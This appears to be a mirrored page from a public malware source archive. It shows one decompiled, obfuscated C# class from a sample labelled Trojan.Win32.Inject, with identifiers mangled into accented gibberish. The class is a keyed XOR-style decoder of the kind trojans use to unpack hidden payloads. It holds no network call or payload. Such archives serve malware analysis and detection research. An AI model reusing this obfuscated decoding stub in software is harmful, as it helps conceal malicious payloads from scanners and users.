mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 04:45:27 +00:00
f2ac1ece55
add
63 lines
3.1 KiB
C#
63 lines
3.1 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: BdÂ1öµÎP4ºnãiÚY8વ6ÉwyàµÉM5éª
|
|
// Assembly: Û5ðEcºHþÄ, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 1C31CDCB-376F-4BDF-A7C8-C060DA3A57B6
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Inject.bnvq-1cdf7a3d7f7e84eb44b37a1be87659e9101970618f17cb4fcc7b5bb3a7a93934.exe
|
|
|
|
using System;
|
|
using System.Text;
|
|
|
|
public class BdÂ1öµÎP4ºnãiÚY8વ6ÉwyàµÉM5éª
|
|
{
|
|
private string gúµG6ÛªEÐtý87jºÑRéªøC5pܵDç6ÓA8ûºx;
|
|
|
|
public string Àª1jïRõ6kÝæG
|
|
{
|
|
get => this.gúµG6ÛªEÐtý87jºÑRéªøC5pܵDç6ÓA8ûºx;
|
|
set => this.gúµG6ÛªEÐtý87jºÑRéªøC5pܵDç6ÓA8ûºx = value;
|
|
}
|
|
|
|
public BdÂ1öµÎP4ºnãiÚY8વ6ÉwyàµÉM5éª(string Àª1jïRõ6kÝæG)
|
|
{
|
|
this.gúµG6ÛªEÐtý87jºÑRéªøC5pܵDç6ÓA8ûºx = "";
|
|
this.Àª1jïRõ6kÝæG = Àª1jïRõ6kÝæG;
|
|
}
|
|
|
|
public string ãµÏ6Gnª8NdáÅfTôÁº25ºÒYoªbúÙY7Fþ(string Óz8TüªN1µýpÜÒP4ã2ºAaÃ) => Encoding.Default.GetString(this.ãµÏ6Gnª8NdáÅfTôÁº25ºÒYoªbúÙY7Fþ(Encoding.Default.GetBytes(Óz8TüªN1µýpÜÒP4ã2ºAaÃ)));
|
|
|
|
public byte[] ãµÏ6Gnª8NdáÅfTôÁº25ºÒYoªbúÙY7Fþ(byte[] Óz8TüªN1µýpÜÒP4ã2ºAaÃ)
|
|
{
|
|
Óz8TüªN1µýpÜÒP4ã2ºAaà = this.ð0ÒfFª8µÿZx4ÃKg5ºÞ(Óz8TüªN1µýpÜÒP4ã2ºAaÃ, Encoding.Default.GetBytes(this.Àª1jïRõ6kÝæG));
|
|
byte[] numArray = new byte[checked (Óz8TüªN1µýpÜÒP4ã2ºAaÃ.Length - 2 + 1)];
|
|
int index = checked (Óz8TüªN1µýpÜÒP4ã2ºAaÃ.Length - 1);
|
|
while (index >= 1)
|
|
{
|
|
numArray[checked (index - 1)] = this.ØiªƒJ1WÃ5dµöòYº2ýxCÛçÏ3ªqB(Óz8TüªN1µýpÜÒP4ã2ºAaÃ[index], (short) -Óz8TüªN1µýpÜÒP4ã2ºAaÃ[checked (index - 1)]);
|
|
checked { index += -1; }
|
|
}
|
|
return numArray;
|
|
}
|
|
|
|
private byte ØiªƒJ1WÃ5dµöòYº2ýxCÛçÏ3ªqB(byte ûnµÈ1KPº9üºÈ0M, short þz6ÒMªFµåwØ2sÍêZ4ºú)
|
|
{
|
|
while (þz6ÒMªFµåwØ2sÍêZ4ºú < (short) 0)
|
|
checked { þz6ÒMªFµåwØ2sÍêZ4ºú += (short) 256; }
|
|
return Convert.ToByte((int) checked ((short) unchecked ((int) ûnµÈ1KPº9üºÈ0M + (int) þz6ÒMªFµåwØ2sÍêZ4ºú)) % 256);
|
|
}
|
|
|
|
private byte[] ð0ÒfFª8µÿZx4ÃKg5ºÞ(byte[] Óz8TüªN1µýpÜÒP4ã2ºAaÃ, byte[] Àª1jïRõ6kÝæG)
|
|
{
|
|
if (Àª1jïRõ6kÝæG.Length != 0)
|
|
{
|
|
int num = checked (Óz8TüªN1µýpÜÒP4ã2ºAaÃ.Length - 1);
|
|
int index = 0;
|
|
while (index <= num)
|
|
{
|
|
Óz8TüªN1µýpÜÒP4ã2ºAaÃ[index] = (byte) ((int) Óz8TüªN1µýpÜÒP4ã2ºAaÃ[index] ^ (int) this.ØiªƒJ1WÃ5dµöòYº2ýxCÛçÏ3ªqB(Àª1jïRõ6kÝæG[index % Àª1jïRõ6kÝæG.Length], (short) Àª1jïRõ6kÝæG[(int) Àª1jïRõ6kÝæG[index % Àª1jïRõ6kÝæG.Length] % Àª1jïRõ6kÝæG.Length]) ^ (int) Àª1jïRõ6kÝæG[checked (index + unchecked (index % 7)) % Àª1jïRõ6kÝæG.Length % Àª1jïRõ6kÝæG.Length]);
|
|
checked { ++index; }
|
|
}
|
|
}
|
|
return Óz8TüªN1µýpÜÒP4ã2ºAaÃ;
|
|
}
|
|
}
|